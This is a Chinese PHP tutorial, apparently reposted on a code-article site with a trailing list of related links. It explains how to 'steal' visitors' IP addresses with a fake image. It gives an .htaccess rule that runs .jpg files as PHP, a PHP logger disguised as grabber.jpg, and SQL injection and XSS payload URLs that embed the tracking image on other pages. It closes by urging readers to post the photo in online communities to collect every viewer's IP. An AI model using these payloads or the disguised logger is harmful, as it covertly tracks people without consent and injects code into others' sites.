基于PHP实现通过照片获取ip地址


Posted in PHP onApril 26, 2016

在本教程中,我们将学习如何用一张照片来盗取ip地址。我的想法是通过修改.htaccess文件,将jpg文件当作php文件来解析。

下面就是我们需要向.htaccess中添加的代码:

AddHandler application/x-httpd-php5 .jpg

然后将下面的代码复制到记事本中,命名为grabber.jpg

<?php
$fh = fopen(‘ip_list.txt', ‘a');
fwrite($fh, $_SERVER[‘REMOTE_ADDR'].”
“);
fclose($fh);
$im = imagecreatefromjpeg(“n00b.png”);
header(‘Content-Type: image/jpeg');
imagejpeg($im);
imagedestroy($im);
?>

将grabber.jpg的权限设置为755,然后再找一张照片,将其命名为n00b.png,接着放到与grabber.jpg相同的目录之中。

就这样,一切工作就绪了。当别人浏览grabber.jpg这张照片的时候,他的ip地址就会被记录下来。

(译者注:需要把这些东西上传至我们的个人网站空间中)

POC:

(译者注:作者这里贴了一张可获取ip的演示照片,为了大家的隐私,我没有将其贴出,读者可自行去作者博客查看)

至此,我们的照片已经可以开始工作了。

接着我还想说明一下如何使用SQLi来获取ip地址。其实使用照片来盗取ip地址十分快捷,我们没有理由去使用SQLi这种方法,但是为了让读者获取到更多的知识,我还是说明一下吧:

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1′ union select 1,0x3c696d67207372633d22687474703a2f2f6c65657474696d652e6e65742f6964696f74735f746573745f6c61622f696d61676569702f7472796d652e6a7067223e,3#

现在,再说一下如何使用xss来获取ip地址:

http://leettime.net/xsslab1/chalg1.php?name=<img src=”http://leettime.net/idiots_test_lab/imageip/tryme.jpg”>&submit=Search

好了,就是这些了。

我们可以用这个技巧做许多有趣的事情,事实上大部分社区都允许我们发布一些照片,所以我们可以用这个方法去获取所有访问到我们照片的人的ip地址。

以上所述是小编给大家介绍的基于PHP实现通过照片获取ip地址的相关内容,希望对大家有所帮助!

PHP 相关文章推荐
新浪新闻小偷
Oct 09 PHP
PHP5 安装方法
Jan 15 PHP
PHP通用分页类page.php[仿google分页]
Aug 31 PHP
深入理解ob_flush和flush的区别(ob_flush()与flush()使用方法)
Feb 06 PHP
简单的php文件上传(实例)
Oct 27 PHP
解密ThinkPHP3.1.2版本之独立分组功能应用
Jun 19 PHP
ThinkPHP之getField详解
Jun 20 PHP
php+ajax实现无刷新分页的方法
Nov 04 PHP
php array_walk 对数组中的每个元素应用用户自定义函数详解
Nov 18 PHP
PHP实现的基于单向链表解决约瑟夫环问题示例
Sep 30 PHP
浅谈Laravel POST,PUT,PATCH 路由的区别
Oct 15 PHP
PHP vsprintf()函数格式化字符串操作原理解析
Jul 14 PHP
各种快递查询--Api接口
Apr 26 #PHP
浅析Yii2集成富文本编辑器redactor实例教程
Apr 25 #PHP
Yii2增加验证码步骤详解
Apr 25 #PHP
Yii实现显示静态页的方法
Apr 25 #PHP
mysql_escape_string()函数用法分析
Apr 25 #PHP
PHP中addslashes与mysql_escape_string的区别分析
Apr 25 #PHP
PHP引用的调用方法分析
Apr 25 #PHP
You might like
10条PHP高级技巧[修正版]
2011/08/02 PHP
微信公众平台网页授权获取用户基本信息中授权回调域名设置的变动
2014/10/21 PHP
PHP实现的限制IP投票程序IP来源分析
2016/05/04 PHP
PHP接入微信H5支付的方法示例
2019/10/28 PHP
(推荐一个超好的JS函数库)S.Sams Lifexperience ScriptClassLib
2007/04/29 Javascript
JqGrid web打印实现代码
2011/05/31 Javascript
javascript中简单的进制转换代码实例
2013/10/26 Javascript
JavaScript中的闭包介绍
2015/03/15 Javascript
js实现tab切换效果实例
2015/09/16 Javascript
JavaScript常用函数工具集:lao-utils
2016/03/01 Javascript
JavaScript实现简易的天数计算器实例【附demo源码下载】
2017/01/18 Javascript
js实现颜色阶梯渐变效果(Gradient算法)
2017/03/21 Javascript
微信小程序 页面滑动事件的实例详解
2017/10/12 Javascript
easyui下拉框动态级联加载的示例代码
2017/11/29 Javascript
vue.js 添加 fastclick的支持方法
2018/08/28 Javascript
Vuejs 实现简易 todoList 功能 与 组件实例代码
2018/09/10 Javascript
更强大的vue ssr实现预取数据的方式
2019/07/19 Javascript
微信小程序录音实现功能并上传(使用node解析接收)
2020/02/26 Javascript
jQuery使用jsonp实现百度搜索的示例代码
2020/07/08 jQuery
python3访问sina首页中文的处理方法
2014/02/24 Python
Python实现的彩票机选器实例
2015/06/17 Python
Django admin实现图书管理系统菜鸟级教程完整实例
2017/12/12 Python
python编程培训 python培训靠谱吗
2018/01/17 Python
python操作xlsx文件的包openpyxl实例
2018/05/03 Python
Python实现的统计文章单词次数功能示例
2019/07/08 Python
Python 使用 Pillow 模块给图片添加文字水印的方法
2019/08/30 Python
Python爬虫实现使用beautifulSoup4爬取名言网功能案例
2019/09/15 Python
python关闭占用端口方式
2019/12/17 Python
美国顶级水上运动专业店:Marine Products
2018/04/15 全球购物
Sahajan美国:阿育吠陀护肤品牌
2021/01/09 全球购物
EJB需直接实现它的业务接口或Home接口吗,请简述理由
2016/11/23 面试题
给定一个时间点,希望得到其他时间点
2013/11/07 面试题
大学毕业感言200字
2014/03/09 职场文书
机械专业求职信范文
2014/07/15 职场文书
实习生辞职信范文
2015/03/02 职场文书
初三数学教学反思
2016/02/17 职场文书